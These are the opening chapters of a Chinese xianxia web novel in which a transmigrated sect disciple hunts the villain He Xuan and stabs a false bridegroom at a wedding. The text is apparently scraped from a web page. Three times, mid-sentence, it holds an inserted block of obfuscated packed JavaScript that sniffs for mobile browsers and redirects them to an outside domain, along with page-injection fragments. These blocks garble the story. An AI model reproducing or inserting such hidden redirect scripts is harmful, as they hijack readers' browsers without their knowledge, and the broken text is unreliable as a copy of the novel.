《我把反派当傻子攻略后》 1. 第 1 章 尸胡山,血雾林。 夜色惨淡,黑暗如墨一般稠浓,林中阒然无声。 赵今遥双指拈起一张赤色符纸,将快要熄灭的微弱火堆重新点燃。再一抬头,看向对面闭眼安睡的女子,拱了拱身边安静守夜的小师妹慕湘。 “师妹,你有没有觉得师姐最近有些奇怪?” 慕湘抬起脑袋,疲倦的眼里明显带着困惑。 赵今遥环顾着周围如死一般沉寂的树木密林,不禁提醒道:“师姐她自上月起常常不见人影,这几日更是像着了魔似的,私自跑下山,非要去找什么红莲城。” “你看这荒山野岭,像是有城的样子么?” “不像。”慕湘老实摇头。 “这些时日师姐举止古怪连连,昨日御剑绕着这尸胡山来来回回转了三趟,明明毫无所获,却仍不放弃。” “可是,”慕湘微微皱眉,“师姐不是说过她中毒了,能解毒之人就在红莲城里,所以她必须去么?” “师姐说的话你也信?”赵今遥对慕湘的天真无邪有了更深的认识,“据师姐她自己所说,那什么…无聊之毒?” “没手机玩好无聊毒。” “对。你听师尊和长老们提起过么?” 慕湘认真想了想,“没有。” 她话锋一转,继而又道:“可师姐她近日身体的确抱恙,那日日夜夜的疼痛不像是假的。再说,假设师姐真的诓骗了二师姐和我,又有什么好处呢?” “……” 赵今遥嘴唇微动,她瞥向宁惜眼下的乌青,一时竟无言以对。 “总之,师姐一定有事瞒着我们。还记得下午进山时,山脚下那老伯分明提醒过,日落前必须离开尸胡山,否则将有难以预料的危险。可这一路走来,师姐始终不紧不慢的,以她往日那般珍爱生命的性子,你不觉得奇怪么?” 慕湘掏出最后一张烧饼,撕开一半递给祝夷初,“二师姐,你就不要胡思乱想了,还是和我一起吃点东西,消磨时间吧。” “你别不当回事。” 赵今遥当即严肃道,“上山前我听那老伯说,这尸胡山从前叫施胡山,你知道为什么改名了吗?” “为什么?” “因为二十年前,附近有户人家的女儿惨遭情郎杀害,抛尸林中。听闻死时身着红衣,死状可怖,于是每到子时林中就会升起血红色的雾,四周还伴随女人诡异的哭声。” “再后来,那情郎一家连带着守门的狗,全都失踪不见,十几口人,最后你猜在哪儿找着的他们?” “在哪儿?”慕湘听得认真,紧张地攥紧手中的烧饼。 赵今遥不说话,只是盯着慕湘看,而后缓慢转头望向她们身后那棵盘根错节的古老枯树,淡淡道: “都吊死在那儿了。” …… 尸胡山一带群山环抱,树冠层叠,林里密不透风。 唯有这棵枯树一片叶子都没长,它挺立在寂静黯淡的月光下,透着无尽的阴森诡谲。 “吱呀、吱呀。” 不知何处传来的声响让慕湘心跳有些加快,她抿了抿唇,磕磕巴巴道:“二、二师姐,你有没有听到……” 话还未说完,余光中有双手轻轻搭了上来。 慕湘感受着肩上冰凉的温度,身子一僵,没等她有反应,身旁的赵今遥腕骨一转,本能地召出她的长枪就要刺去。 下一秒,身后响起熟悉的嗓音: “是我。” 慕湘回头,见是大师姐宁惜心里顿时松了口气,她亲近地挽住宁惜的手臂,“师姐,你终于醒了!” “嗯。”宁惜揉了揉额角,哑声询问,“我睡了多久?” 慕湘马上答道:“不到两个时辰。” 宁惜看向一旁沉默不语的赵今遥,开口问道:“你们刚才在聊什么?” “没什么。” 慕湘还未来得及回话,便被师姐赵今遥抢先了,“我们只是听见一阵奇怪的声响,以为有东西靠近。” “这样啊。”宁惜了然地点点头,她顺着两人的视线往枯树看去,没见着什么异样,便笑着安抚两人,“我听说这附近夜里不太平,等我洗把脸,换我守夜吧。” “好。” 见两人应下,宁惜起身走至小溪旁,她纤细白皙的手指拂过冰冷刺骨的溪水,顿时清醒了不少。 宁惜神情一松,听见身后的赵今遥似乎还在与慕湘说着什么,她无心听,只是垂眸遮住眼底的疲惫。 到底是相识了数十载的师妹,赵清遥还是够了解她的。 宁惜的确有个秘密。 其实她并不属于这个世界,她来自二十一世纪的现代,死后再一睁眼就来到了九州大陆。 还记得刚过来时,是一个寒冷的冬日。 那时,宁惜还是个襁褓中的婴孩。她被丢在结冰的河面上,差点新号不保,好在有幸被一对善良的凡人老夫妇发现了,他们收养了她,宁惜才有幸得以长大。 一个月前,她莫名绑定了一个代号为“天道008”的系统。 也是彼时,宁惜才从系统口中得知,原来她所处的世界是一本名叫《无虞》的大女主修仙文中。 据系统介绍: 小说世界全程围绕着品性正直的女主应无虞展开。 讲述应无虞惨遭灭门后,为了追寻全家被杀的真相,拜入天下第一宗门天凌宗,与她的大师兄男主及主角团等人,一路除魔卫道,斩尽邪祟,最终找出真凶、打败反派灭世魔头,成为一代掌门人的故事。 内容正向热血,不过这些与宁惜都没太大关系。 因为她既不是主角,也不是重要配角,只是天凌宗上某不知名路人甲,而系统发布的任务,是让她攻略本文最大的反派大魔头贺玄。 用爱温暖感化他,阻止其黑化,否则贺玄死她也跟着死。 九州大陆是一个集修仙者、凡人与魔妖共存的世界,天下势力分立一宗两朝三大修仙世家,其中一宗代表天凌宗,两朝指凡人所掌管的乐陵、苍梧两大王朝。 而贺玄便是苍梧的太子。 据原文描述,贺玄此人性情凉薄,他睚眦必报、心狠手辣,凡是所求之物,无论搭上何种代价他都敢做。 书中对他早年的经历,仅用简短两句“从小聪慧早熟,天纵奇才”“可惜德不配位,难担太子之才,最终被苍梧皇帝废黜太子位”给一笔带过。 再之后,便是他堕入魔道弑父杀兄的事情了。 为了准确得知自己究竟还能活多久,宁惜不得不把整本小说翻阅了一遍,结果看完却发现,贺玄活到大结局才死。 而距离大结局还有将近百余年。 “……” 宁惜略一思索,决定开摆。 多长寿的反派。 孩子想干什么就干什么呗,非用得着她去感化? 能再活一百年完全够了,做人不能太贪心。 抱着这样的想法,宁惜每天悠闲地躺在宗门里混吃等死,某天正规划着之后的美好生活,莫名一阵腹痛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316306|183017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是有把刀在里头搅动,难以忍耐。 无论是运灵气,还是用尽各种灵丹妙药都没能够缓解。 宁惜这才从系统口中得知:原来只要贺玄受伤,她便将承受其十倍痛感。 于是这半月来,宁惜没一天安生日子,反派挨打痛在她身,还是十倍的。 怎一个惨字了得。 宁惜轻叹一口气,果然,死后穿书都是有代价的。 擦净手上的溪水,宁惜默默在脑海里催促系统,“还没找到贺玄?” 【抱歉宿主。】 【书中并未提及贺玄早年被废太子之后,究竟经历了什么,因此搜寻位置需要花费大量时间,望您耐心等待。另外,008目前还是最低级的系统,各项功能数据还不够完善,需要您推进任务,领取奖励后进行手动升级。】 脑海中,系统那机械的电子音听得宁惜头疼。 她挥手打断,“行了,你快找吧。”还真是靠人不如靠己。 宁惜感慨完,果断起身,一回头却发现,身后不知何时弥漫上了一层看不透的血雾。 火堆旁已然没了赵今遥与慕湘的人影,只剩微弱的火光在空中飘摇。 宁惜微微蹙眉,莫名想到了睡梦间听师妹赵今遥讲的那个鬼故事。 其实最开始,宁惜是打算自己一个人下山去找贺玄的,谁知道刚出宗门,赵今遥就带着慕湘追了上来。 关于她口中编造的中毒之事,赵今遥是一直都不信的。 宁惜这个师妹向来聪明,一旦被缠上,就跟块狗皮膏药一样甩不掉了,而救贺玄之事迫在眉睫——主要是被折磨得实在熬不住了,便干脆让两人跟着。 这会儿要是在尸胡山上出了什么事,她好歹是她们名义上的师姐。 到时候回去怎么交代? 宁惜顿觉头大,完成任务还得带两跟屁虫,谁看了不说她命苦。 没多想,她脚步一迈,慢慢向火堆的位置靠近。 回到火堆处,果真不见两人,宁惜正欲从乾坤袋中拿出一张传音符,询问两人的下落。 岂料眼前忽然亮起一道金光,只见赵今遥和慕湘也默契地使用了传音符,还先她一步传送了过来。 短暂安静片刻后,慕湘担心的声音在林中响起,一阵无声后,只听她问: “师姐,你在吗?” “……” 宁惜静默一刻,回道:“不在。” “师姐你别闹了。”旁边的赵今遥明显松了口气,“你在哪呢?” 闻言,宁惜装模作样地环顾一圈,给赵今遥传音:“我回来了。林中起雾了,你们跑哪去了?” “我们就在火堆旁,而且也没起雾,师姐你别……” 低阶传音符有字数限制,话音到这戛然而止。 宁惜看着周围愈发浓重的雾气,拿出身上最后一张传音符,简单交代师妹们“原地等天亮”,随即手指点诀,将传音符送了出去。 解决完此事,宁惜肩头一跨,放松地靠着旁边的树休息起来。 她这两个师妹虽说年纪小了些,但关键时刻总是靠谱的,倒不用太担心。 宁惜神色一顿,瞥向不远处朦胧的红色身影。 血雾中,红色身影站在树后。 她露出半张脸,脸色惨白,全黑的瞳孔透过长发直勾勾地盯着宁惜,察觉宁惜发现她了,女鬼轻轻歪头: “找到你了。” …… 她要担心的应该是她自己才对。 2. 第 2 章 “糟了。” 赵今遥看着慕湘从乾坤袋里掏出几张“多”出来的传音符,眼皮一跳,脸色顿时变得严肃起来。 慕湘有些慌了,言语间满是藏不住的担忧。 她望向两人之间的主心骨赵今遥,问道:“二师姐,我们现在怎么办?” “听师姐的。”赵今遥重新坐下,还算冷静道:“我刚才看我的乾坤袋,也多出了好几张传音符,应该都是师姐放的。她手里的传音符估计不多了。” 或者说,可能已经没有了。 赵今遥想了想,又用了一张传音符,这回等了好半晌都没等到宁惜的回复,便知道自己的猜测果然是对的。 赵今遥看向神色紧张的慕湘,怕她担心,到底没有将这事说出口。 她看着鸦雀无声,一眼望不见底的密林,眼底浮现一丝担忧。 师姐已停在筑基后期多年,这尸胡山十分诡异。 也不知她一人能否应付得来…… 自拜入天凌宗,赵今遥认识宁惜已将近二十年,她对自己这位名义上的大师姐,情感有些复杂。 宁惜性子随和,很好相处。对她们这些师妹师弟们更是无所挑剔,但作为栖云峰的大师姐,她的心思却不在修仙习道上。 既没有上进心,面对他人的嫌弃嘲讽也总是一副不愿计较、笑笑便过的散懒态度。 平日里唯一的爱好,便是躺在栖云峰上闲看浮云扫落花,偶尔年关下山凑个热闹,找点乐子,几乎不会往危险的地方跑。 正因如此,修为才能被她这个师妹反超了去。 赵今遥不禁在心里叹了口气,一直以来,她们栖云峰一脉就比不得宗门里其他三峰。 亲传弟子的实力一个不如一个,前些年的宗门大比,甚至次次都“荣获”倒数第一的“好”成绩。 近十余年来,栖云峰上的亲传弟子才增至四位,除去她和大师姐,另外的两个师妹师弟是前年才破格从内门提上来的。 赵今遥看向上月才年满十六,至今还未辟谷、到点饿了就忙着吃东西的慕湘,会心一笑。 这怎么不算“破格”呢? 慕湘察觉赵今遥投来的眼神,她呆愣抬头,见二师姐似乎在盯着自己手中的烧饼,稍作犹豫,还是伸直手臂,将烧饼递了过去。 “师姐,你也要吃么?” “……我不吃。” “好吧。”慕湘笑起来,“那我就自己吃了!” 好啊。 天真点好。 赵今遥轻倚在树干上,望着越来越沉重的夜色,只希望黎明快些来。 她们能安然无恙地走出这尸胡山。 * 天色渐明,夜幕褪去。 宁惜再次醒来时,是被赵今遥闹醒的。她半眯着眼,避开直射的刺眼阳光,定睛一看发现面前有三张大脸。 慕湘、赵今遥,还有一位陌生老伯。 “醒了!”那陌生老伯激动喊道,他肩上背着竹篓,头顶斗笠,看样子是附近来的人。 老伯问她,“你感觉如何?还记得昨晚发生了何事吗?” 宁惜撑坐起身,先看了三人一眼。 虽然不清楚眼前的老伯是什么身份,但见两个师妹与他站在一起,尤其迎上慕湘眼巴巴的眼神,倒也算配合地想了想才答: “记得。昨夜血雾升起后,我碰见了一个身穿红衣的女鬼。” 赵今遥和慕湘一听这话,顿时紧张起来。 “后来呢?” “我嫌她笑声太难听,她便恼羞成怒,在我耳边骂了我整整一个晚上。”宁惜说得认真。 “……” 老伯哈哈一笑,摸着胡须笑得很是慈祥,“你遇到的东西并非什么女鬼,只是尸胡山上喜欢戏弄人的小精怪。” “等等。”赵今遥想到了什么,“我们上山前遇到的老伯,也是它幻化而成?” “没错。” 慕湘恍然大悟,“我知道了,鬼故事和血雾都是为了吓我们的。” “不错,血雾只是幻觉而已。” 老伯点头,他见赵今遥仍旧眉头紧皱,于是出声宽慰道: “尸胡山上的小精怪们大多本性善良,不会要人性命,最多会有些许头晕不适。你们若是担心,可以去我们红莲城休憩片刻,城内售有各类灵丹妙药,亦有修士长住。” 红莲城? 赵今遥一听,当即看向自家大师姐。 却见宁惜神情淡淡,不知在想些什么。 “我眼下还有要事,既然你们无碍我便先走了。” 眼看着老伯要走,赵今遥倒也顾不上其他,连忙替宁惜拦住他,“老伯且慢。您看我师姐中幻觉后,反应都变得迟钝了,劳烦您给我们带个路?” “这……”老伯面露难色,“我还要采药呢。红莲城就离这儿十几里路,你们沿着此路往下走,下山后先右拐,遇见岔路口便往右,再遇则向左即可。” 赵今遥才不管那么多,她把老伯肩上的竹篓卸下来,帮他背上,随后给慕湘使了个眼色,慕湘收到后,迅速堵住老伯的其余出路。 “老伯,您就帮个忙吧!这可是人命关天的大事啊!” “等等,等等等。” 两人一左一右架着老伯就要下山,慕湘劝道,“别等了老伯,您那药材铺今日若是有亏损,我们会替你补上的。你说对吧,二师姐?” 赵今遥配合点头,“嗯。” 之后的半个时辰里。 赵今遥始终走在老伯身边问个不停,有意无意地帮宁惜打探着红莲城的消息。 宁惜跟着她们身后,没再开口说过话,她昨夜浑身上下疼了整整一宿,直至快天亮才消停,此刻心力交瘁,根本没力气开口。 几番聊下来,宁惜也大概得知了陌生老伯的身份。 老伯姓陶,是今早赵今遥和慕湘在林中寻她时偶然遇见的。 据陶老伯自己所说: 他家住红莲城,经营着一间药材铺已有三十余年。每日清晨都会带着他唯一的小弟子上山采药,但这几日那位小弟子身体不适,便是他独自前来。 “我们红莲城以前呢,原本是个穷困潦倒的小村庄,某年旱灾全村颗粒无收,许多人被活活饿死,之后更是种什么死什么。直到后来天降神鸟,在村中救人无数,红莲城才有今日这般繁华。” 慕湘好奇发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316307|183017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问,“朝廷不管么?” “各位所有不知啊。”陶老伯带着她们翻山涉水,边说道,“我们红莲城位于乐陵南处山林,本就地势险峻偏僻,当年正逢邪祟作乱,哪能顾得上我们这些贫穷百姓。这么多年,城里都是从前村里村民的后代,大多数人都是路过将此作为歇脚,前往更繁华的城郭。” 赵今遥抱胸沉思,还没来得及问点什么。 旁边的陶老伯突然喊了句:“到了!” 顺着陶老伯手指的方向望去,只见山崖之下赫然屹立着一座城。 它依山而建,四周不临海,却有护城河围绕三方。 城门夯实厚重,写着“红莲”二字,高大的城墙坚固如山,宛如一条巨龙蜿蜒盘旋着,比她们想象中要壮丽宏伟得多。 “红莲城这么大?” 赵今遥有些讶异,她听了一路的故事传说,误以为红莲就是一座小城郭而已。 “这是自然。”聊及家乡,陶老伯面上藏不住的骄傲,“今时早已不同往日了,我们红莲城这些年是越发繁荣了!” “……” 有陶老伯带路,她们很快便顺利地进入了城内。 刚一进去,慕湘的注意力就被热闹繁华的街道给吸引了去,自她从内门弟子变成亲传后,每天的时间都被修炼安排得满满的,已经很久没下山了。 这会儿东瞧西望,眼底全是好奇,时不时还会抛出两个稀奇古怪的问题询问陶老伯,引路的陶老伯十分有耐心,全都一一回答了。 对她们倒算是知无不言。 拐入主街道,两侧的商铺商贩更多了。 宁惜的目光扫过街巷上的人群,转念一想她好像还不知道贺玄长什么样,便连忙让008去给她找张画像来。 008领命去搜寻画像。 宁惜抬头,见陶老伯正热情地向慕湘介绍当地美食,正欲找个借口与陶老伯分开,远处街道口忽然一阵锣鼓喧天,鞭炮齐鸣。 两侧商铺内的人闻声走了出来,站至门前看热闹。 喜庆的锣鼓声越来越近,迎亲的队伍浩浩荡荡穿过热闹的街巷,展露在众人面前。 红绸飘扬,为首的新郎官骑着高头大马,身后一行人抬着精美火红的花轿,跟在他身后缓缓前行。 前方人头攒动,估计都想沾沾喜气。 宁惜不乐意凑这热闹耽误时间,但想着一时半刻人群也无法散去,便往后站了些。 众人皆自觉地给迎亲队伍让出一条路。 不多时,以新郎官为首的迎亲队伍便来至她们跟前,宁惜略一抬眼,刚好瞥见那马上穿着黑边金绣喜袍的新郎官。 男子鼻高唇薄,鬓发乌黑如墨,他的眉眼长得极为深邃好看,尤其是那双眼睛,低头时眼睫如鸦羽般根根分明,腰间的玉佩尽显矜贵。 宁惜正惊叹一个npc要刻画得这么好看做什么,耳边猛不丁响起008冷漠的机械音: 【宿主,贺玄的画像。】 话落,黑白画像便凭空浮现在宁惜面前,她看着与新郎官毫无差别的画像,眼神一愣。 ……新郎官就是贺玄? 他被废黜后,一时想不开跑去成亲了? 3. 第 3 章 宁惜沉思一刻,不得不开口问系统:“贺玄结过婚?书里怎么没写。” 【不知道。】 好歹是书里最大的反派,不至于这么重要的事都没写在人生履历上吧? “他妻子死了?”宁惜猜测。 008反应一秒,还是那句:【不知道。】 …… 这也不知道,那也不知道。 “要你何用?” 【抱歉宿主。】 【书中并未提及贺玄早年被废太子之后,究竟经历了什么,因此……】 眼见008又拿这套说辞,宁惜忙不迭打断它,“停,没你事了。” 【好的。】 脑海中,人机系统接收到她的指令果断溜了。 宁惜的目光瞥到身侧的陶老伯,不由得拉过他,开始套消息:“老伯,这是何人在办喜事?” 怕陶老伯起疑,她又故作好奇地补充半句,“如此风光。” “还能是什么人,风家呗。”老伯说道,“之前我说我们红莲城旱灾遇神鸟之事,你还记得吗?” “嗯。” “传闻神鸟名号青翼,当年几个村民有幸拜入神鸟门下,修习仙道,风家便是其中之一。” “后来红莲城日渐繁荣,青翼神鸟便重回天界了,而风家为了记住仁慈心善的青翼神鸟,祖祖辈辈供奉着神鸟。风家是我们城里为数不多懂得修仙之道的家族,这么多年来,他们从未离开过红莲城,只为守卫这一方和平。” “上月月底吧,风家长女相中一郎君。两人一见如故情投意合,今日便是她的出嫁之日,风家家主为了他这女儿的婚事,可谓是煞费苦心,折腾半月了。” “……” 闻言,宁惜眉梢一挑。 这不巧了。 距离贺玄被废太子之日,也过去半个月了。 眼看着迎亲队伍消失在街巷,两侧看热闹的人群逐渐散去。 陶老伯告知她们城里客栈的方位,便先回药材铺,临走了,顺带指明他的铺子位于哪条街,才笑着道别。 眼见身侧无人,赵今遥谨慎地凑到宁惜耳边提醒道,“师姐,有古怪。” “我知道,先跟上去看看。” 赵今遥看着决然转身的宁惜,最终还是带着慕湘,跟上宁惜的脚步。 风家宅门口红绸飞舞,热闹非凡,门前还停着方才迎亲游街的马队和花轿。 三人站在门外探查一番,得知仪式要在昏时举行,趁着四下无人,干脆绕路从后院翻墙而入。 刚进风家后院,她们就被眼前清幽雅致的景色给吸引住了。 但见院内高墙环护,绿柳周垂,院中回廊曲折,有山石点缀。因是吉利日子,大红的锦缎沿着石子路向前铺设,望不到尽头。 “师姐。”慕湘紧张地跟在宁惜身后,“我们这样冒然闯进来……不太好吧?” “不冒然啊。” 宁惜顺手从旁边的桃花树上摘下两颗桃子,再转身,不知从哪儿变出一张请帖来,她理直气壮道: “我们有请帖。” “……” 慕湘嘴唇翕动,想说点什么,视线却不自觉地落在那两颗又红又水嫩的桃子上。 “师姐。”赵今遥望向看似漫不经心,实则在用纸人符箓找人的宁惜,皱起眉,“你来红莲城究竟要做什么?” 宁惜想着再不说真话,以赵今遥严肃的脸色来看必定要跟她翻脸,于是她把手中的桃子递给慕湘,而后干脆回道:“找人。” “那人我们认识吗?” “当然不。” 她都是刚刚才认识的。 赵今遥满眼怀疑,“他给你下的毒?” “是,也不是。” 赵今遥对宁惜模棱两可的回答并不满意,当即不高兴道:“什么叫是也不是?师姐,关于你中毒的事,到底能不能向我们吐露几句真话?” 话音未落,一旁的慕湘也跟着看了过来。 “中毒之事的确是我编造的。”宁惜终究还是说了几句真话出来,“但我来红莲城也是真有事,要找一个人,事关我的生死。” 此话一出,赵今遥顿时沉默了,她看着双眸含笑、淡定从容的宁惜,一时竟有些摸不准这话的真实性。 似是怕她不信,宁惜又补充一句:“这次没骗你。” 赵今遥还想追问下去,小道尽头忽然响起说话声。 周围空荡荡,毫无遮拦物。 宁惜与两位师妹对视片刻,身形一闪,一齐躲进身后的屋内,再往外看,只见方才停留的地方经过一行婢女。 那为首年长的喊道:“走快些!别让小姐久等了!” 婢女们绕过长廊水榭,径直走向最深处的楼阁,再往后发生了什么宁惜无从得知,不过能确定的是,楼阁里头那人十有八九就是待嫁的风家小姐了。 不等宁惜多想,身后响起赵今遥的嗤笑声。 “想不到这风家做戏倒是做得全套,还真给青翼造了个神龛呢。” 宁惜回头,才发现她们进的这间屋是祠堂的前厅。 目光越过天井,祠堂内光线昏暗,却依稀可见正中央立着青翼的神龛,两侧则是风家祖先的牌位。 慕湘不懂,“给有恩的神鸟在家里造神龛供奉,不是很正常的事么?为什么是做戏呀?” 赵今遥瞥向睁大眼睛、认真发问的小师妹,不禁在心中连连感慨她们栖山峰没救了。 “亏你还跟着咱们师尊修炼,这种问题都还用问?等回宗门,你给我去藏书阁整理古籍,再抄十遍门规。” “不要啊,二师姐。” 慕湘一听立马着急了,她在赵今遥身边绕来绕去,试图为自己求情,“我回去一定认真修炼,这次你就放我一马吧。” “放你一马?”然而严苛冷漠的赵今遥并不吃她这一套,“我都不知道放你多少马了,再放,咱们栖山峰上全是我放的马。” 宁惜被赵今遥这番幽默的言论给逗笑了,她看着此刻比自己更像大师姐的赵今遥,也不心虚,倒是善意提醒慕湘。 “古籍里有提过青翼神鸟吗?” “我…不记得了。”慕湘摇头,恍然反应过来宁惜话里的暗示,“莫非神鸟是风家人编造出来的?!” “可喜可贺,你总算发现了。” 赵今遥顺着解释,“自打我们进城以来,一切都出奇顺利,荒山野岭的,这红莲城却如此繁华和煦,从里到外都古怪得很。” 经由赵今遥一说,慕湘总算慢半拍地意识到了。 她皱着眉,清秀的五官满是疑惑:“可是不对啊师姐。是谎言总有漏洞,若神鸟是假的,城里的百姓为何也很相信传说,从未怀疑过?” 这也是赵今遥想不明白的地方。 见两个师妹托腮沉思起来,宁惜懒洋洋地打了个哈欠,顺着腿边的桌角坐了下来。 “你们先想,我睡会儿。” “……” 赵今遥沉默下来,对宁惜这副懒散的态度感到无可奈何。 “师姐,你不找人了?” “累了。” 宁惜轻轻抬眼,瞥向木棂窗外明媚的日光,依旧散漫道,“不着急,等昏时仪式举行自然就能见到了。” 算了。 赵今遥叹息一声,她有时也看不透她这位师姐到底在想些什么,反正都进城了,乖乖跟着得了。 …… 一觉醒来,外头已是夜幕沉沉。 风家上上下下的人都忙着喜筵的事儿,没人发现她们三人躲在祠堂。 宁惜坐着缓了一瞬,这才慢悠悠起身寻找赵今遥和慕湘。 围绕着祠堂转了几圈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316308|183017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,最后在西侧偏厅里找到了她们。 两人背对着她,坐在角落里嘀嘀咕咕地商量着什么,宁惜凑近一看,发现赵今遥手里握着一张红莲城舆图,上面详细标注了城内的各大小地点,以及暗道。 “我就知道,风家果然不简单。” 见赵今遥把舆图当宝贝似的藏进袖口,宁惜顿觉好笑,忍不住出声问道:“一张舆图,何以见得?” 赵今遥被突然冒出来的宁惜吓得不轻,她拍着胸脯抱怨:“师姐,你下次走路能不能发出点动静?很容易吓死人的。” “有么?我走路声很大,是你们太专注了。” “……” 没等赵今遥说话,前院传来的敲鼓声打断了她。 她们所在的祠堂离前院有些距离,因此声音模糊不清,但估计是仪式快开始了。 宁惜整理了一番褶皱的衣角,正欲走出偏厅,前往前院参加喜筵,却被赵今遥拦住了。 她这位师妹难得一本正经地劝道:“师姐,风家谜团重重,不安全,等会儿仪式上我们低调点,找到人就赶紧出去吧。” 宁惜没吭声,她静静地盯着赵今遥看,心里不知在想些什么,最后还是在赵今遥的催促下,才憋出一句: “我尽量。” 赵今遥不明白宁惜的回答为什么是尽量,但见她长腿一迈率先走出偏厅,只好先跟上去。 借以迷路为由,三人在丫鬟的指引下光明正大地来到前院。宅内遍布红绸锦色,房梁挂朱缎,窗户绣双喜,红烛高照,满室生辉。 宾客们男女同席,一时履舄交错。 宁惜寻了个极佳的观赏位置,安静坐下,静待仪式开始,赵今遥则热情地与身边的宾客交谈,试图再打探点消息。 至于慕湘,正眼巴巴地盯着桌上的菜肴看。 她一天没吃东西,全靠辟谷丹撑着,这会儿馋得不行了。 好在没让众人等太久,仪式便开始了。 一系列繁琐复杂的流程过后,随着风家长老的一声“新妇进门”,头披红盖的少女莲步轻移,红裙摇曳,衣角绣着的金色鸳鸯花纹华丽精美,由丫鬟搀扶着一步一步跨越门栏,走至众人跟前。 宁惜假意抿了口杯中的酒,视线始终紧盯着厅中身穿喜袍、满脸笑容的贺玄。 身姿曼妙的新妇站定在贺玄身旁,她头披红盖头,害羞地将手中握着的红绣球递给贺玄一半。 贺玄低头一笑,接过红绣球时,手掌虚握了一下新妇的手背。 宁惜敛眸,有些嫌弃地扯了扯唇,她原本还想凑个热闹等仪式结束。 现在看还是算了。 新人就位,两人各自手牵红绣球一端,准备拜堂。 混在宾客间的宁惜左看看右看看,找准时机,握住她随手从慕湘那儿顺过来的剑,一个飞身,在众人的惊呼声中来到了贺玄身后。 “一拜天地——天地为鉴,喜结良缘。” “二拜高堂——两姓永好,子孙满堂。” “三拜夫妻对拜——琴瑟和鸣,永结……” 赞礼声骤然中断。 贺玄闻声回头,目光才与宁惜对视上,胸口一疼,一把泛着冷光的剑穿透了他的胸膛,直指心口。 宁惜迎上贺玄充满不解与困惑的眼神,利落抽剑。 殷红的鲜血瞬间喷洒而出,擦过宁惜的脸颊,留下两道红印。 周遭寂静一瞬,立刻响起惊慌失措的尖叫声,宾客们四处逃窜,现场混乱不堪。 高堂上,美丽柔弱的新娘面对这突如其来的变故,失控地跌坐在地,小脸顿时一片惨白。 贺玄惊恐地睁大眼睛,手指挣扎着想抓住宁惜的衣摆,被鲜血染红的薄唇一张一合,欲说点什么,却逐渐没了生息。 赵今遥看着淡定擦脸的宁惜,终于知道她师姐为啥说是尽量了。 4. 第 4 章 血色鲜红似火,侵染整个大堂。 见不用补刀了,宁惜这才将手里的剑丢到一旁。她低头检查一圈,发觉衣服没沾上血污,这才安心地松了口气。 幸好没脏,下次出门办事还是不能穿白衣服。 宁惜正感叹着,她的两位师妹跑了过来。 赵今遥在她腿边蹲下,给血泊中的新郎官一探脉息,似乎是想看还能不能救一救。 紧随其后的慕湘也跟了上来,她一脸担心地看着地上的新郎官:“怎么样,没事吧?” 赵今遥眉头紧蹙,正欲回答,只听宁惜抢先答道:“我没事,别担心。” “……” 谁问你了? “师姐。”赵今遥指着地上已然咽气的贺玄,神色严峻道:“你没什么想对我们说的吗?” 天凌宗门规其一,明确规定所有弟子严禁修炼邪功、滥杀凡人。 赵今遥蹙眉,这若是让执法长老知道了…… 宁惜看了看惊骇未定的慕湘,再看向心如死灰的赵今遥,伸出手拍拍两人的肩膀,独自开朗道: “别怕,他不是我要找的人。” “?” “那师姐你还杀?!”赵今遥气得心肝疼,“今日这事若是传回宗门,你肯定会被执法长老罚的!” “你不说我不说,咱们小湘儿不说,那老头又怎么会知道?” “……” 大师姐,自家的。 自家的,大师姐。 赵今遥在心里默念两遍,方才压下心中的哀怨。 她们三人一同下山的,事情已经发展到了这个地步,要罚她和慕湘也跑不掉。 “小师妹,过来搭把手。”赵今遥无奈招呼着慕湘,正要帮宁惜毁尸灭迹,脚边死透的新郎官突然扭动起来。 他四肢扭曲成一团,原本深邃凌厉的五官也变得狰狞,淌出几行血泪,后脑支地,看样子像是想从地上爬起来。 赵今遥分析不出眼前这种东西究竟是什么,心底那股不安的情绪愈发强烈了。她眉心紧蹙,尽管紧张,却还是下意识抬起左手,将修为比她低的师姐师妹护在身后。 新郎官挣扎一番后,胸口飞出一道黑灰色魂体。 魂体刚离身,尸体便即刻瘪下去缩成了一张人皮,混在血污里,看着怪恶心。而宅内刚刚还在四处逃窜、惊慌尖叫的人们,眨眼间全都消失不见。 顷刻间,只剩下她们三个活人及地上残留的人皮。 明月下满屋沉寂,仿佛之前热闹的场面都是她们的幻觉,唯有房梁上喜庆的红灯笼轻轻摇曳着。 一切都诡异得可怕。 慕湘被吓得不轻,紧紧拽住宁惜的衣袍躲在她身后。 黑灰色的魂体越过三人,径直往后院飞去。赵今遥眼神一顿,像是意识到什么,忽然拔高音量说了句:“魂体分身?师姐,这宅子不对劲,我们赶紧出去!” “还没找到人呢。” 